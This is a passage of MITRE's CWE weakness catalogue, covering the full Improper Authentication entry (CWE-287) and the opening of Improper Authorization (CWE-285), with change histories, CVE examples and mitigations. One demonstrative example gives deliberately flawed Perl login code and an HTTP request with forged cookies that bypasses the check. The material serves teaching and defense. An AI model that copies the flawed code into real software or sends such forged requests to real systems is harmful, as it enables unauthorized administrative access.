2009-03-10	updated Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Alternate_Terms, Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated References, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2011-03-24	CWE Content Team	MITRE
2011-03-24	Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Taxonomy_Mappings, Type
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Maintenance_Notes, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Description, Observed_Examples, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-09-09	Access Control Issues

2011-03-29	Access Control (Authorization) Issues

Weakness ID: 287

Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Alternate Terms

authentification:	An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN:	"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:	"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	295	Improper Certificate Validation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	306	Missing Authentication for Critical Function
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	645	Overly Restrictive Account Lockout Mechanism
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1390	Weak Authentication
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	613	Insufficient Session Expiration

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	290	Authentication Bypass by Spoofing
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	294	Authentication Bypass by Capture-replay
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	295	Improper Certificate Validation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	306	Missing Authentication for Critical Function
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	307	Improper Restriction of Excessive Authentication Attempts
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	521	Weak Password Requirements
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	522	Insufficiently Protected Credentials
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	640	Weak Password Recovery Mechanism for Forgotten Password
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)

Example Language: Perl

my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {

if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("Error: you need to log in first");

}
else {

# Set loggedin and user cookies.
$q->cookie(

-name => 'loggedin',
-value => 'true'
);

$q->cookie(

-name => 'user',
-value => $q->param('username')
);

}

}

if ($q->cookie('user') eq "Administrator") {

DoAdministratorTasks();

}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)

GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:

[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.

Observed Examples

Reference	Description
CVE-2022-35248	Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
CVE-2022-36436	Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
CVE-2022-30034	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
CVE-2022-29951	TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
CVE-2022-29952	Condition Monitor uses a protocol that does not require authentication.
CVE-2022-30313	Safety Instrumented System uses proprietary TCP protocols with no authentication.
CVE-2022-30317	Distributed Control System (DCS) uses a protocol that has no authentication.
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2021-37415	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
CVE-2020-10263	Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
CVE-2020-13927	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
CVE-2021-35395	Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
CVE-2021-34523	Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
CVE-2020-12812	Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
CVE-2020-10148	Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
CVE-2020-0688	Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
CVE-2017-14623	LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
CVE-2009-3421	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
CVE-2009-2382	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
CVE-2009-2213	product uses default "Allow" action, instead of default deny, leading to authentication bypass.
CVE-2009-2168	chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
CVE-2009-3107	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
CVE-2009-1596	product does not properly implement a security-related configuration setting, allowing authentication bypass.
CVE-2009-2422	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
CVE-2009-3232	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
CVE-2009-3231	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Functional Areas

Authentication

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	947	SFP Secondary Cluster: Authentication Bypass
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1368	ICS Dependencies (& Architecture): External Digital Systems
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.

Suggestions:

CWE-ID	Comment
CWE-1390	Weak Authentication
CWE-306	Missing Authentication for Critical Function

Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	1		Insufficient Authentication
ISA/IEC 62443	Part 3-3		Req SR 1.1
ISA/IEC 62443	Part 3-3		Req SR 1.2
ISA/IEC 62443	Part 4-2		Req CR 1.1
ISA/IEC 62443	Part 4-2		Req CR 1.2

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-114	Authentication Abuse
CAPEC-115	Authentication Bypass
CAPEC-151	Identity Spoofing
CAPEC-194	Fake the Source of Data
CAPEC-22	Exploiting Trust in Client
CAPEC-57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
CAPEC-593	Session Hijacking
CAPEC-633	Token Impersonation
CAPEC-650	Upload a Web Shell to a Web Server
CAPEC-94	Adversary in the Middle (AiTM)

References

[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.

[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.

[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Name
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Related_Attack_Patterns
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Observed_Examples
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms, Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Authentication Issues

2009-01-12	Insufficient Authentication

Weakness ID: 285

View customized information:

Description

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ:	"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	552	Files or Directories Accessible to External Parties
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	732	Incorrect Permission Assignment for Critical Resource
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	862	Missing Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	926	Improper Export of Android Application Components
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	927	Use of Implicit Intent for Sensitive Communication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1230	Exposure of Sensitive Information Through Metadata
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1256	Improper Restriction of Software Interfaces to Hardware Features
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1297	Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1328	Security Version Number Mutable to Older Versions

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Modes Of Introduction

Phase

Note

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
